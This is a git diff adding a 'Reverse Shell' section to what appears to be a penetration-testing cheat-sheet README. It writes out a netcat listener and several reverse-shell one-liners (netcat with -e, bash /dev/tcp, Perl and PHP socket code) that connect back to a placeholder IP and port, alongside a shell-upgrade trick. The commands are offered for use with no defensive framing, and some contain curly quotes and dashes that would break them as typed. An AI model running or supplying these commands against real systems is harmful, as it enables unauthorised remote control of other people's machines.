diff --git a/README.md b/README.md index 0d7d2e0..acc2c4d 100644 --- a/README.md +++ b/README.md @@ -399,18 +399,61 @@ wget http://{IP ADDRESS}/{FILE} -outfile {FILE} [https://gtfobins.github.io/](https://gtfobins.github.io/) -## Linux - -## Windows - +
# Reverse Shell +## NC Listen - Client [STEP 1] + +
+ +``` +# About: A command used to listen to requests from a defined port +# Download: Pre-installed on Kali Linux + +# Usage +sudo nc –lnvp {PORT} + +# {PORT}: Select the port used to listen +``` + +
+ +## NC Execute - Server [STEP 2] + +``` +# With Netcat installed + +# Usage - Windows +nc.exe -e cmd.exe {IP ADDRESS} {PORT} + +# Usage - Linux +nc {IP ADDRESS} {PORT} –e /bin/bash + +# =========================================== + +# Without Netcat installed + +# Usage - transfer payload via file transfer and execute binary + +# Usage - Linux +bash -i >& /dev/tcp/{IP ADDRESS}/{PORT} 0>&1 + +# Usage - Perl +perl -e ‘use Socket;$i=”{IP ADDRESS}″;$p={PORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’ + +# Usage - PHP +php -r ‘$sock=fsockopen(“{IP ADDRESS}”,{PORT});exec(“/bin/sh -i <&3 >&3 2>&3”);’ + +# {IP ADDRESS}: IP Address of the client from step one (listener) +# {PORT}: Port of the client from step one (listener) +``` + + [https://www.revshells.com/](https://www.revshells.com/) -## Linux -## Windows + # Shell Upgrade @@ -433,6 +476,4 @@ python -c 'import pty;pty.spawn("/bin/bash")' CTRL&Z stty raw -echo; fg; export TERM=xterm - - ```